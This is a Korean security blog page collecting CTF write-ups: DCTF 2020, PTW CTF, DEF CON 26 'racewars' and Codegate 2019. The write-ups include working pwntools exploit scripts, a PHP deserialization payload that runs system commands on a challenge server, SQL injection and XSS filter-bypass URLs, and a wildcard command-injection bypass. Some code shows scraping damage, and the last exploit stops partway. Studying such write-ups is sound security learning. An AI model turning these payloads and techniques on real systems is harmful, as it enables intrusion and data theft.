'Write up'에 해당되는 글 41건

[dctf 2020] writeup

Write up 2020. 12. 10. 18:00
반응형

3rd  place

 

1.1  inorder

1.1.1       Proof of flag

Flag: CTF{W3ll_D0N3!$_^_}

1.1.2       Summary of the vulnerabilities identified

 

1.     Side Channel Attack using BST features

2.     Side Channel Attack Accuracy Improvement

3.     Optimization of Algorithm to Improve Side Channel Attack Performance

 

1.1.3       Proof of solving

This problem simply implements BST (Binary Search Tree), determines whether it is flagged as shown in the figure below, and ends without outputting.

 

Also, when receiving data, up to 10001 values can be entered simultaneously. Therefore, it can be seen that side channel attack is possible as shown in the figure below.

Figure x
Figure y

When a continuous value of C is added to a node, the value is smaller than the corresponding value, or when a value smaller than C, such as A, is inserted, you can proceed quickly. However, if you insert a value larger than C like D, a node with D value is added to the right of the leaf with C value. Therefore, the search proceeds the same, so a total of 10000 data is inserted to obtain a significant time difference. First, insert 10000 data with input[i] + 1 After that, if you exit to search for flags, the [figure x, y] situation. Therefore, it was possible to confirm that a time difference may occur locally as shown in the figure below.

 

1.  from pwn import *

2.  import time

3.  import sys

4.   

5.  context.log_level = 'error'

6.   

7.  flag = "CTF{"

8.  #flag = ""

9.   

10. threshold = 0.002

11. threshold = 1.2

12.  

13. for i in range(20):

14.     result = []

15.     left, mid, right = 33, (127 + 33) // 2, 127

16.     while left <= right:

17.         mid = (right + left) // 2

18.         print(left, chr(mid), right)

19.         last = -1

20.         try:

21.             s = 0

22.             for x in range(5):

23.                 r = remote("35.198.103.37", 32323)

24.                 #r = process(["python", "server_public.py"])

25.                 p = [ flag + chr(mid + 1) ] * 1000

26.                 p += [ flag + chr(mid) ]

27.  

28.                 r.sendlineafter(": ", f"/a {';'.join(p)}")

29.  

30.                 r.recvuntil(": ")

31.                 start = time.time()

32.                 r.sendline("/exit")

33.                 r.recvuntil("Bye!")

34.                 end = time.time()

35.  

36.                 diff = end - start

37.                 s += diff

38.  

39.                 r.close()

40.  

41.             print(i, mid, s)

42.  

43.             if threshold < s:

44.                 left = mid + 1

45.             else:

46.                 right = mid - 1

47.  

48.         except EOFError:

49.             pass

50.  

51.     if threshold < s:

52.         flag += chr(right + 1)

53.         print("left")

54.     else:

55.         flag += chr(mid)

56.         print("right")

57.     print(flag)

 

 

2.1  secret-reverse

2.1.1       Proof of flag

Flag: ctf{9b9972e4d59d0360b5f1b80a5bbd76c05d75df5b636576710a6271c668a10ac5}

2.1.2       Summary of the vulnerabilities identified

 

1.     Encryption Algorithm Analysis

2.     Inverse operation possibility check and bruteforce

 

2.1.3       Proof of solving

This problem was given a program that reads the message.txt file and encrypts the file. When I decompile that file, I could see code like this:

Therefore, in order to understand the algorithm more easily, the porting was performed with the Python code as follows, and it was found that the encrypted string was replaced for every two characters and output.

1.  data = list(b"ae")

2.   

3.  for i in range(len(data)):

4.      if data[i] == ord("_"):

5.          data[i] = ord("x")

6.   

7.  wtf_table = b"ABCDEvodkaFGHIJbcefgKLMNOhijlmPQRSTnpqrsUVWXYtuwxyjamesABCDEonsbcFGHIJdfghiKLMNOklpqrPQRSTtuvwxUVWXY"

8.  byte_2071C0 = [0] * len(data)

9.  v6, v7 = 0, 0

10. for i in range(len(data)):

11.     if data[i] > 0x2f and data[i] <= 0x39 or data[i] > 0x60 and data[i] <= 0x7a:

12.         if (i + v7) & 1 and byte_2071C0[v6 - 1] == data[i]:

13.             byte_2071C0[v6] = ord('x')

14.             v6 += 1

15.         else:

16.             byte_2071C0[v6] = data[i]

17.             v6 += 1

18.     else:

19.         v7 += 1

20.  

21. if v6 & 1:

22.     byte_2071C0[v6] = ord('x')

23.  

24. print(bytes(byte_2071C0))

25.  

26. def sub_2003(x):

27.     for i in range(0, 5):

28.         for k in range(5, 10):

29.             if x == wtf_table[10 * i + k]:

30.                 return i

31.  

32. def sub_20A8(x):

33.     for i in range(5, 10):

34.         for k in range(0, 5):

35.             if x == wtf_table[10 * i + k]:

36.                 return k

37.  

38. result = [0] * len(data)

39. for p in range(0, len(byte_2071C0), 2):

40.     v4 = sub_2003(byte_2071C0[p])

41.     v5 = sub_20A8(byte_2071C0[p + 1])

42.     result[p] = wtf_table[10 * v4 + v5]

43.     result[p + 1] = wtf_table[10 * v5 + v4]

44.  

45. atable = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ"

46. capetown = b"capetown"

47. result2 = []

48. for i in range(len(result)):

49.     v12 = result[i]

50.     v15 = 0

51.     for k in range(26):

52.         if ord(chr(v12).upper()) == atable[k]:

53.             v15 = k

54.             break

55.  

56.     v13 = capetown[i % len(capetown)]

57.     v17 = 0

58.     for k in range(v15, v15 + 26):

59.         v7 = atable[k % 26]

60.         if v7 == ord(chr(v13).upper()):

61.             # print(v15)

62.             break

63.         v17 += 1

64.  

65.     result2 += [ atable[v17] ]

66.  

67. print(bytes(result2))

 

 

Figure 1

To proceed with the inverse operation, the substitution encryption method used in the above code was applied in reverse, and there are five cases per character. Therefore, there are difficulties when decoding by inverse operation. However, due to the nature of substitution ciphers, it is vulnerable to bruteforce. Therefore, if you bruteforcing the given flag encryption string (46004746409548141804243297904243125193404843946697460795444349) using the code below, you can know the two character candidates. Thus, the original string can be known at run time until the encrypted string matches.

1.  from pwn import *

2.   

3.  t = "_abcdefghijklmnopqrstuvwxyz0123456789"

4.   

5.  context.log_level = 'error'

6.   

7.  flag= ""

8.  tmp = []

9.   

10. for a in t:

11.     for b in t:

12.         try:

13.             open("./message.txt", "w").write(flag + a + b)

14.             con = process("./rev_secret_secret.o")

15.             con.recvuntil(":  ")

16.             result = con.recvline()[:-1]

17.             print(flag + a + b, result)

18.             con.close()

19.  

20.             if b"460" in result:

21.                 print(result)

22.                 tmp += [ (flag + a + b, result) ]

23.                 #exit(0)

24.         except EOFError:

25.             pass

26.  

27. print(tmp)

 

 

Figure 2
Figure 3

 

3.1  modern-login

3.1.1       Proof of flag

Flag: ctf{356c5e791de08610b8e9cb00a64d16c2cfc2be00b133fdfa5198420214909cc1}

3.1.2       Summary of the vulnerabilities identified

 

1.     Analysis of APK file implemented with kivy framework

2.     Flag verification logic analysis

3.     Decode string obfuscation

 

3.1.3       Proof of solving

The problem is given an APK file. To analyze the app, I used the decompile tool and looked at AndroidManifest.xml as shown in the figure below.

Figure 1

I googled the org.kivy.android.PythonActivity used in android:name to find out which framework is being used and confirmed that it is the kivy framework. The framework was able to create apps using python, and execute python code inside the app to perform defined functions. Example code is as follows:

Figure 2

Also, the framework includes all the Python code in the Assets/private.mp3 file as illustrated in the figure below (Figure 2), so you need to analyze the private.mp3 file to extract the app's python code.

 

Figure 3

First, I analyzed the org.kivy.android.PythonActivity::onCreate method, and by using the UnpackFileTask class inside, I could guess that the private.mp3 file is decompressed.

 

Figure 3

 

Figure 4

 

As shown in Figure 3, you can see that the file is unpacked using the UnpackFileTask class, and you can see that a method called unpackData is called internally.

 

Figure 5

 

Inside that class, you can see that the unpackData method is called, and the AssetExtract::extractTar method is called to untar the private.mp3. Therefore, the private.mp3 file is a tar file, so I extracted and decompressed the file. Figure 6 below is a list of files after decompression, and Table 1 is the main.py source code.

 

Figure 6

 

In the code above, I looked closely at lines 27 to 29 that seem to print the flag, and I can see that the encrypted string needs to be decrypted. However, this does not require inverse computation, and if the previously defined d function is called and decryption proceeds, the flags as below could be obtained.

 

Figure 7
Figure 8

 

4.1  environ

4.1.1       Proof of flag

Flag: ctf{ea4941519e740783ebd819100ddc13486ae1e0abec2d0ef32bad5fc98edd16b6}

4.1.2       Summary of the vulnerabilities identified

 

1.     Guessing directory

2.     Dump git directory and checkout files

3.     RCE using php deserialization vulnerability

 

4.1.3       Proof of solving

 

Figure 1

 

The problem is a server implemented using the Laravel framework. If you log in after creating an account first, you will see a screen like Figure 1. As there is a saying that it is being maintained, I tried a specific path (.git, backup, etc.) with the idea that it could be managed with git.

 

Figure 2

 

Therefore, I dumped all of the backup git after making minor modifications to git-dump and restored the files through checkout.

 

Figure 3

 

After that, to check the implemented source code, I looked at routes, apps, etc., and confirmed that app/Http/Middleware/YourChain.php exists.

<?php

 

namespace App\Http\Middleware;

 

use Closure;

use Illuminate\Http\Request;

 

class YourChain

{

    /**

     * Handle an incoming request.

     *

     * @param  \Illuminate\Http\Request  $request

     * @param  \Closure  $next

     * @return mixed

     */

    // public function handle(Request $request, Closure $next)

    // {

    //     return $next($request);

    // }

 

    public $inject;

    function __construct(){

    }

    function __wakeup(){

        if(isset($this->inject))

        {            if(isset($this->inject[5])){

                eval($this->inject[5]);

            }

            

        }

    }

}

 

 

 

Also, as a result of checking routes/web.php, I checked the following code.

<?php

 

use Illuminate\Support\Facades\Route;

 

/*

|--------------------------------------------------------------------------

| Web Routes

|--------------------------------------------------------------------------

|

| Here is where you can register web routes for your application. These

| routes are loaded by the RouteServiceProvider within a group which

| contains the "web" middleware group. Now create something great!

|

*/

 

Route::get('/'function () {

    return redirect('/dashboard');

});

 

Route::get('/decode/{secret}''DashboardController@decode')->name('decode')->where('secret''[A-Za-z0-9\/\+%=]+');

 

Route::middleware(['auth:sanctum''verified'])->get('/dashboard'function () {

    return view('dashboard');

})->name('dashboard');

Route::middleware(['auth:sanctum''verified'])->group(function () {

    Route::get('/''DashboardController@index')->name('index');

});

 

 

As shown above, when requested to the /decode/{secret} path, it was confirmed that the secret was decrypted. When decrypting it, the following class method is used.

<?php

 

namespace App\Http\Controllers;

 

use Illuminate\Http\Request;

 

class DashboardController extends Controller

{

    public function index(Request $request)

    {

        return view('good');

    }

 

    public function decode(Request $request, $secret)

    {

        $key = env('APP_KEY');

        $cipher = "AES-256-CBC";

        $iv = substr(env('APP_KEY'), 016);

        $secret_message = unserialize(openssl_decrypt($secret$cipher$key0$iv));

        var_dump($secret_message);

    }

 

}

 

 

 

It can be confirmed that php deserialization attack is possible according to the above implementation, so you need to find a key to be used for encryption. It was confirmed that this exists inside the .env.example file, and the desired secret was encrypted by writing and executing the code so that the desired code can be executed through the code below, and the flag was obtained after leaking the internal file.

<?php

namespace App\Http\Middleware;

 

use Closure;

use Illuminate\Http\Request;

class YourChain

{

    public $inject;

    function __construct(){

    }

    function __wakeup(){

        if(isset($this->inject))

        {

            if(isset($this->inject[5])){

                eval($this->inject[5]);

            }

            

        }

    }

}

 

    $APP_KEY = 'base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=';

    $chain = new YourChain;

    $chain->inject[5] = 'system("cat ../flag.php");';

    $secret = serialize($chain);

    $key = $APP_KEY;

    $cipher = "AES-256-CBC";

    $iv = substr($APP_KEY016);

 

    echo $iv;

    $secret_message = openssl_encrypt($secret$cipher$key0$iv);

    echo $secret_message."\n";

 

    $secret = $secret_message;

 

    echo file_get_contents('http://35.198.183.125:30278/decode/' . $secret);

    exit;

    $key = $APP_KEY;

    $cipher = "AES-256-CBC";

    $iv = substr($APP_KEY016);

    $secret_message = unserialize(openssl_decrypt($secret$cipher$key0$iv));

    var_dump($secret_message);

?>

 

 

 

'Write up' 카테고리의 다른 글

SECCON 2014 Programming 문제  (0) 2014.12.24
Write up  (0) 2014.10.04
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

1. sqli

간단한 sql injection, 인자는 pw 하나만 주어진다.

 

1.0 query

select select id from users where id='guest' and pw=('[user_input]')

 

1.1 stage 1

http://ptw.alonalab.kr/ctf/sql1.php?pw=%27) or id not like 0x6775657374%23

필터링 되는 부분이 존재하지 않으므로 아래와 비슷한 쿼리를 구성해 인풋을 구성하면 된다.

select select id from users where id='guest' and pw=('') or id not like 'guest'#')

 

1.2 stage 2

http://ptw.alonalab.kr/ctf/MXEoCtNmAk.php?pw=%27) || id not like 0x6775657374+--+

약간의 필터링이 존재하므로 이리저리 우회를 하면 되고 stage1에서 변한건 주석정도 밖에 없다.

select select id from users where id='guest' and pw=('') or id not like 'guest' -- ')

 

1.3 stage 3

http://ptw.alonalab.kr/ctf/cF8D1.php?pw=%27) || id not like 0x6775657374%23

stage2와 동일

 

1.4 final

http://ptw.alonalab.kr/ctf/AohZV.php?pw=%27)||id+lilikeke+0x61646D696E%26%26+true+--+

str_replace를 해서 필터링하므로 lilikeke => like와 같이 replace해서 우회되도록 만든다.

select select id from users where id='guest' and pw=('') or id lilikeke 'admin' -- ')

replaced ==> select select id from users where id='guest' and pw=('') or id like 'admin' -- ')

 

 

2. xss

간단한 xss, 인자는 answer를 통해서 받을 수 있고 잘 우회만 해주면 된다.

 

2.1 stage1

http://ptw.alonalab.kr/ctf/xss1.php?answer=%3Cscript%3Ealert(document.domain)%3C/script%3E

script가 공백으로 치환되므로 scrscriptipt를 사용하여 우회한다. 다만 여기서 "/" 도 공백치환이 되는데 이는 서버에서 urldecode를 한번더 하는것으로 보이므로 %252f와 같이 double url encoding을 해준다.

 

2.2 stage2

http://ptw.alonalab.kr/ctf/KcmPU.php?answer=%253cscrscriptipt%253ealert%2528document.domain%2529%253c%25%252f2fscrscriptipt%253e

stage1에서 사용한 double url encoding을 해주면 된다. 다만 "/"를 %252f로 우회했었지만 이를 공백으로 치환하므로 %25%252f2f와 같이 우회하면 된다.

 

2.3 stage3

http://ptw.alonalab.kr/ctf/PGfCS.php?answer=%25%253c3cscrscriptipt%25%253e3ealert%25%252828document.domain%25%252929%25%253c3c%25%252f2fscrscriptipt%25%253e3e

stage2에서 사용했던 방법들을 적당히 필터링 되는 문자에 적용해주면 된다.

%252f => ""

%25%252f2f => "/"

 

2.4 final

http://ptw.alonalab.kr/ctf/Ct0Rx.php?answer=%25%253c3cscrscriptipt%25%25%25%253e3e3e3ealert%25%25%25%2528282828document.domain%25%252929%25%253c3c%25%252f2fscrscriptipt%25%25%25%253e3e3e3e

stage3에서 사용했던 방법을 특정 문자에 대해서 몇 번만 더해주면 된다. (4번정도)

 

3. reversing

이 문제는.... 바이너리에 서버로 요청해야될 result가 base64 encode된 형태로 박혀있다.

UGxheVRoZVdlYg== => PlayTheWeb

http://ptw.alonalab.kr/ctf/reverse1.php?result=PlayTheWeb

요청해서 플래그를 확인하면 된다.

 

4. android

대충 코드를 까보면 루팅체크를 하는 등의 동적 디버깅을 힘들게 하는 작업을 했지만, 난독화가 아니라서 정적 분석하기 쉽다. apk decompile 툴을 써도 좋고 간단하게 디컴파일 결과를 확인하고 싶을 때 http://www.javadecompilers.com/apk 여기를 사용한다.

코드를 분석하다보면 sources/p004kr/alonalab/ptw_crackme/AES256Chiper.java 에서 iv, key가 드러나있고 aes-128/cbc를 사용하는 것을 볼 수 있다. 그리고 복호화해야될 문자열이 Keyverify.java에 존재하므로 아래와 같이 간단한 python 코드를 작성하면 된다.

from Crypto.Cipher import AES

BLOCK_SIZE = 16
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]

key = "RvAq2$CyZ;x}bQdV@),28v[,Du3Q?Cjq".ljust(BLOCK_SIZE, "\x00")
iv = "".ljust(BLOCK_SIZE, "\x00")

aes = AES.new(key, AES.MODE_CBC, IV=iv)
enc = "Qk0wR3FQNEFjVjdBck0vK0pNUndUUT09".decode('base64').decode('base64')
print aes.decrypt(enc)

aes = AES.new(key, AES.MODE_CBC, IV=iv)
enc = "U2NKQWRsa0ZtQllpNlVQamZlOWgxQT09".decode('base64')
print aes.decrypt(enc)

 

5. network

pcap파일을 wireshark로 열어서 http패킷을 찾아보면, https://blog.alonalab.kr/27에 요청한 기록이 나오고 비밀번호가 걸려있다. 힌트로 PlayTheWeb이라고 했으니 게싱으로 비밀번호로 넣어봤더니 아래의 pastbin링크가 나오게 되었다.

https://pastebin.com/raw/bL8nQLHu

Hey! Guess the question! 

1. ????? is an application layer protocol that facilitates communication in the form of text. The chat process works on a client/server networking model.

2. Sub Domain?

Made By [alonalab.kr]

#bot

1번의 답은 irc protocol 이고 subdomain이 존재한다는 것을 2번이 암시하고 있다. irc.alonalab.kr에 ping을 날려 확인하고, irc client를 아무거나 받은 다음 #bot 채널에 입장해 @flag를 입력하면 봇이 플래그를 출력해준다.

'Write up > Wargame' 카테고리의 다른 글

LFH 문제 분석한 거  (0) 2016.12.13
[Wargame.kr] vulnerability  (0) 2016.10.02
[Wargame.kr] Admin 계정 탈취 인증샷  (0) 2016.10.02
[Wargame.kr] All Clear  (0) 2016.09.13
[Wargame.kr] zairo  (0) 2016.09.08
블로그 이미지

KuroNeko_

KuroNeko

,

[defcon26] racewars

Write up/CTF 2019. 3. 25. 01:01
반응형

racewars



처음 푸는 defcon문제라 한껏 쫄아서 오디팅 열심히 해보고 익스까지 좀 시간이 걸렸던 문제다.

이 문제에서는 눈에 띄는 버그가 존재하지 않고 교묘하게 숨겨놓은 버그들의 체이닝으로 풀 수 있다.

첫 번째로 다음과 같은 코드가 존재한다.



사용자의 입력값으로부터 ooo_malloc을 수행해주는 것을 볼 수 있다.

해당 코드에선 취약점이 발생하지 않을 것처럼 보이지만 ooo_malloc내부에서 호출하는 custom_heap_malloc함수를 보면서 생각이 달라졌다.

만약 size가 0이 될 경우, 이후에 할당했을 때 주소를 가지게 되면서 이후 할당된 주소에 overlap된 만큼 r/w가 가능하게 된다.

즉, 0x20 * size를 했을 때 0이 되는 값을 찾으면 된다. 이 바이너리에서는 shl를 사용해 연산했으므로 아래와 같은 식이 구성된다.

(DWORD)(size << 5) == 0, 그러므로 대충 값을 2 << 30만해도 된다.


두번째로 다음과 같은 코드가 존재한다.

overlap된 메모리에서 변조가 일어나 byte0 구조체 변수를 음수로 변경할 수 있다면 아래의 a1->byte9[v2]에 의해 arbitrary r/w가 가능해진다. 그러므로 tires를 먼저 할당시켜준 후, transmission을 할당하면서 overlapping을 해준다면 음수로 변경이 가능해질 것이다.


이후에 arbitrary r/w가 주어졌으니 offset 계산을 위해 할당된 주소를 대충 구하고, puts와 같은 libc주소를 얻어온 후 이래저래 익스를 짜보면 아래와 같다.



from pwn import *

con = process("./racewars")

sl = con.sendlineafter

def tries(tr):
	sl("CHOICE: ", "1")
	sl("how many pairs of tires do you need?", str(tr))

def chassis():
	sl("CHOICE: ", "2")
	sl("eclipse\n", "1")

def engine():
	sl("CHOICE: ", "3")

def transmission(tr):
	sl("CHOICE: ", "4")
	sl("transmission? ", str(tr))

tries(536870912)
transmission(1)
chassis()
engine()

for i in xrange(1, 5):
	sl("CHOICE: ", "1")
	sl("CHOICE: ", str(i))
	sl(": ", str(0xffff))

# b *0x40155C
engine = ""
for i in range(8):
	sl("CHOICE: ", "4")
	sl("modify? ", str(-16 + i))
	con.recvuntil(" is ")
	engine += chr(int(con.recvuntil(",")[:-1]) & 0xff)
	sl("what?: ", "1")
	sl("set gear to ", "0")

engine = u64(engine)
# 0x21a9318 - 0x21a92e8
transmission = engine - 0x30 + 0x09

print "engine: {:016x}".format(engine)

binary = ELF("./racewars")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

puts_got = binary.got["puts"]
diff = transmission - puts_got - 1

puts = ""
for i in range(8):
	sl("CHOICE: ", "4")
	# b *0x401538
	sl("modify? ", str(-diff + i))
	con.recvuntil(" is ")
	puts += chr(int(con.recvuntil(",")[:-1]) & 0xff)
	sl("what?: ", "1")
	sl("set gear to ", "0")

puts = u64(puts)
exit_got = binary.got["exit"]
oneshot = puts - libc.symbols["puts"] + 0xf1147

print "puts: {:016x}".format(puts)
print "oneshot: {:016x}".format(oneshot)

diff = transmission - exit_got - 1

for i in range(8):
	sl("CHOICE: ", "4")
	# b *0x401538
	sl("modify? ", str(-diff + i))
	sl("what?: ", str(ord(p64(oneshot)[i])))
	sl("set gear to ", "1")

sl("CHOICE: ", "5")
sl("CHOICE: ", "1")
sl("need?\n", "1")

con.interactive()


'Write up > CTF' 카테고리의 다른 글

[Codegate 2019] writeup  (0) 2019.01.29
[RCTF 2017] RCalc  (0) 2017.05.22
[Codegate2017 Pre] EasyCrack101  (0) 2017.02.11
[Codegate2017 Pre] BabyMISC  (0) 2017.02.11
[Codegate2017 Pre] BabyPwn  (0) 2017.02.11
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

Codegate 2019 Writeup

1. MIC Check

  • base85 decode

2. 20000

  • 20000개의 library들이 존재하는데, 이 중에서 취약점을 찾아야한다.

    먼저, 주어진 library들을 실행시키는 20000 바이너리를 분석해보면 아래와 같다.

    signed __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
     char *v3; // rax
     signed __int64 result; // rax
     void *v5; // rdi
     char *v6; // rax
     int v7; // [rsp+Ch] [rbp-94h]
     void (__fastcall *v8)(void *, const char *); // [rsp+10h] [rbp-90h]
     void *handle; // [rsp+18h] [rbp-88h]
     char s; // [rsp+20h] [rbp-80h]
     int v11; // [rsp+80h] [rbp-20h]
     int v12; // [rsp+84h] [rbp-1Ch]
     unsigned __int64 v13; // [rsp+88h] [rbp-18h]

     v13 = __readfsqword(0x28u);
     sub_400A06(a1, a2, a3);
     setvbuf(stdin, 0LL, 2, 0LL);
     setvbuf(stdout, 0LL, 2, 0LL);
     setvbuf(stderr, 0LL, 2, 0LL);
     memset(&s, 0, 0x60uLL);
     v11 = 0;
     printf("INPUT : ", 0LL, &v12);
     __isoc99_scanf("%d", &v7);
     if ( v7 <= 0 && v7 > 20000 )
    {
       printf("Invalid Input");
       exit(-1);
    }
     sprintf(&s, "./20000_so/lib_%d.so", (unsigned int)v7);
     handle = dlopen(&s, 1);
     if ( handle )
    {
       v5 = handle;
       v8 = (void (__fastcall *)(void *, const char *))dlsym(handle, "test");
       if ( v8 )
      {
         v8(v5, "test");
         dlclose(handle);
         result = 0LL;
      }
       else
      {
         v6 = dlerror();
         fprintf(stderr, "Error: %s\n", v6);
         dlclose(handle);
         result = 1LL;
      }
    }
     else
    {
       v3 = dlerror();
       fprintf(stderr, "Error: %s\n", v3);
       result = 1LL;
    }
     return result;
    }

  • 해당 libc_%d.so를 가져와 test함수를 실행시키는 방식이므로 아래와 같은 간단한 python 코드를 작성해 Bof와 같은 취약점이 존재하는지 확인해봤다.

    from pwn import *

    for i in range(1, 20001):
       con = process("./20000")
       con.sendlineafter("INPUT : ", str(i))
       con.sendlineafter("file?", "A" * 0x1000)
       con.interactive()
    [+] Starting local process './20000': pid 21041
    [*] Switching to interactive mode

    [*] Process './20000' stopped with exit code 0 (pid 21041)
    [*] Got EOF while reading in interactive
    $
    [*] Got EOF while sending in interactive
    [+] Starting local process './20000': pid 21045
    [*] Switching to interactive mode

    [*] Process './20000' stopped with exit code 0 (pid 21045)
    [*] Got EOF while reading in interactive
    $
    [*] Got EOF while sending in interactive
    [+] Starting local process './20000': pid 21049
    [*] Switching to interactive mode

    [*] Got EOF while reading in interactive
    $
    [*] Process './20000' stopped with exit code 0 (pid 21049)
    [*] Got EOF while sending in interactive
    [+] Starting local process './20000': pid 21053
    [*] Switching to interactive mode

    [*] Got EOF while reading in interactive
    $
    [*] Process './20000' stopped with exit code 0 (pid 21053)
    [*] Got EOF while sending in interactive
    [+] Starting local process './20000': pid 21057
    [*] Switching to interactive mode

    ls: cannot access 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@': No such file or directory
    [*] Process './20000' stopped with exit code 0 (pid 21057)
    [*] Got EOF while reading in interactive
    $
  • 위를 보다시피 lib_5.so파일에서 system 함수를 실행하는 것으로 추정되므로 해당 파일을 디컴파일해서 확인해보면 아래와 같이 lib_5091.so, lib_17470.so에서 filter함수를 얻어온 후, filtering을 거쳐 system함수를 실행한다.

    signed __int64 test()
    {
     char *v0; // rax
     signed __int64 result; // rax
     char *v2; // rax
     void (__fastcall *v3)(char *, char *); // [rsp+0h] [rbp-B0h]
     void (__fastcall *v4)(char *); // [rsp+8h] [rbp-A8h]
     void *handle; // [rsp+10h] [rbp-A0h]
     void *v6; // [rsp+18h] [rbp-98h]
     char buf; // [rsp+20h] [rbp-90h]
     __int16 v8; // [rsp+50h] [rbp-60h]
     char s; // [rsp+60h] [rbp-50h]
     __int16 v10; // [rsp+90h] [rbp-20h]
     unsigned __int64 v11; // [rsp+98h] [rbp-18h]

     v11 = __readfsqword(0x28u);
     memset(&buf, 0, 0x30uLL);
     v8 = 0;
     memset(&s, 0, 0x30uLL);
     v10 = 0;
     handle = dlopen("./20000_so/lib_5091.so", 1);
     if ( handle )
    {
       v3 = (void (__fastcall *)(char *, char *))dlsym(handle, "filter1");
       v6 = dlopen("./20000_so/lib_17470.so", 1);
       if ( v6 )
      {
         v4 = (void (__fastcall *)(char *))dlsym(v6, "filter2");
         puts("This is lib_5 file.");
         puts("How do you find vulnerable file?");
         read(0, &buf, 0x32uLL);
         v3(&buf, &buf);
         v4(&buf);
         sprintf(&s, "ls \"%s\"", &buf);
         system(&s);
         dlclose(handle);
         dlclose(v6);
         result = 0LL;
      }
       else
      {
         v2 = dlerror();
         fprintf(stderr, "Error: %s\n", v2);
         result = 0xFFFFFFFFLL;
      }
    }
     else
    {
       v0 = dlerror();
       fprintf(stderr, "Error: %s\n", v0);
       result = 0xFFFFFFFFLL;
    }
     return result;
    }
  • 해당 함수를 살펴보면 아래와 같은 필터링을 하게 되는데, 여기서 single character wildcard인 "?"를 검사하지 않아 원하는 명령을 강제로 수행하게 만들어 줄 수 있다.

    // lib_5091.so filter1
    char *__fastcall filter1(const char *a1)
    {
     char *result; // rax

     if ( strchr(a1, ';') )
       exit(0);
     if ( strchr(a1, '*') )
       exit(0);
     if ( strchr(a1, '|') )
       exit(0);
     if ( strchr(a1, '&') )
       exit(0);
     if ( strchr(a1, '$') )
       exit(0);
     if ( strchr(a1, '`') )
       exit(0);
     if ( strchr(a1, '>') )
       exit(0);
     if ( strchr(a1, '<') )
       exit(0);
     result = strchr(a1, 'r');
     if ( result )
       exit(0);
     return result;
    }

    // lib_17470.so filter2
    char *__fastcall filter2(const char *a1)
    {
     char *result; // rax

     if ( strchr(a1, 'v') )
       exit(0);
     if ( strchr(a1, 'm') )
       exit(0);
     if ( strchr(a1, 'p') )
       exit(0);
     if ( strchr(a1, 'd') )
       exit(0);
     if ( strchr(a1, 'n') )
       exit(0);
     if ( strstr(a1, "bin") )
       exit(0);
     if ( strstr(a1, "sh") )
       exit(0);
     if ( strstr(a1, "bash") )
       exit(0);
     if ( strchr(a1, 'f') )
       exit(0);
     if ( strchr(a1, 'l') )
       exit(0);
     result = strchr(a1, 'g');
     if ( result )
       exit(0);
     return result;
    }
  • 즉, /bi?/?at ???? (/bin/cat flag)과 같은 공격이 가능해지므로 아래의 공격코드를 구성해서 실행시키면 플래그를 획득할 수 있다.

    from pwn import *

    con = remote("110.10.147.106", 15959)

    con.sendlineafter("INPUT : ", "9")
    con.sendline("\"\n/bi?/?at ????")

    con.interactive()

3. aeiou

  • pthread, tcb, stack canary, buffer overflow

  • 문제 바이너리와 libc가 주어졌다. 바이너리는 아래와 같은 mitigation이 걸려있는 것을 볼 수 있다.

    이제 aeiou 바이너리를 디컴파일해서 분석을 하다보면 아래와 같은 bof가 발생하는 함수를 만나게 된다.

    int teach()
    {
     int result; // eax
     pthread_t newthread; // [rsp+0h] [rbp-10h]
     unsigned __int64 v2; // [rsp+8h] [rbp-8h]

     v2 = __readfsqword(0x28u);
     pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, 0LL);
     result = pthread_join(newthread, 0LL);
     if ( result )
    {
       puts("oooooh :(");
       result = 1;
    }
     return result;
    }

    void *__fastcall start_routine(void *a1)
    {
     unsigned __int64 v2; // [rsp+8h] [rbp-1018h]
     char s[4104]; // [rsp+10h] [rbp-1010h]
     unsigned __int64 v4; // [rsp+1018h] [rbp-8h]

     v4 = __readfsqword(0x28u);
     memset(s, 0, 0x1000uLL);
     puts("Hello!");
     puts("Let me know the number!");
     v2 = readstr();
     if ( v2 <= 0x10000 )
    {
       sub_401170(0, s, v2);
       puts("Thank You :)");
    }
     else
    {
       puts("Too much :(");
    }
     return 0LL;
    }
  • 이 때, stack canary가 존재해서 leak이 없는 이상 공격이 힘들 것 같지만 canary는 TCB의 특정 8byte를 사용하게 된다. TCB(Thread Control Block)은 thread가 생성될 때마다 thread stack과 같이 생성되며 thread stack 최하단에 존재한다. 그러므로 tcb가 덮힐정도의 overflow를 해주면 해당 thread에서 stack canary를 무력화되게 된다. 아래는 해당 개념을 사용한 공격코드이다.

    from pwn import *

    debug = True

    con = process("./aeiou", env={"LD_PRELOAD": "./libc.so"})

    binary = ELF("./aeiou")
    libc = ELF("./libc.so")

    con.sendlineafter(">>", "3")

    csu_init = 0x4026EA
    trigger = 0x4026D0

    payload = ""
    payload += "A" * 0x1018
    payload += p64(csu_init)
    payload += p64(0) #x
    payload += p64(1) #p
    payload += p64(binary.got["read"]) #12
    payload += p64(0x100) #13
    payload += p64(binary.bss() + 0x100) #14
    payload += p64(0) #15
    payload += p64(trigger)
    payload += p64(0x4141) # dummy

    payload += p64(0)
    payload += p64(1)
    payload += p64(binary.got["puts"])
    payload += p64(0) * 2
    payload += p64(binary.got["read"])
    payload += p64(trigger)
    payload += p64(0x4141)

    payload += p64(0)
    payload += p64(1)
    payload += p64(binary.got["read"])
    payload += p64(0x100)
    payload += p64(binary.bss() + 0x110)
    payload += p64(0)
    payload += p64(trigger)
    payload += p64(0x4141)

    payload += p64(0)
    payload += p64(1)
    payload += p64(binary.bss() + 0x110)
    payload += p64(0)
    payload += p64(0)
    payload += p64(binary.bss() + 0x100)
    payload += p64(trigger)
    payload += p64(0x4141)

    payload += p64(0) * 6
    payload += p64(0x400E9A)

    payload = payload.ljust(0x2000, "A")

    con.sendlineafter("number!", str(0x2000))
    con.send(payload)

    con.send("/bin/sh\x00")
    con.recvuntil("Thank You :)\n")

    # 0x402340
    libcbase = u64(con.recv(8)[:-1].ljust(8, "\x00")) - libc.symbols["read"]
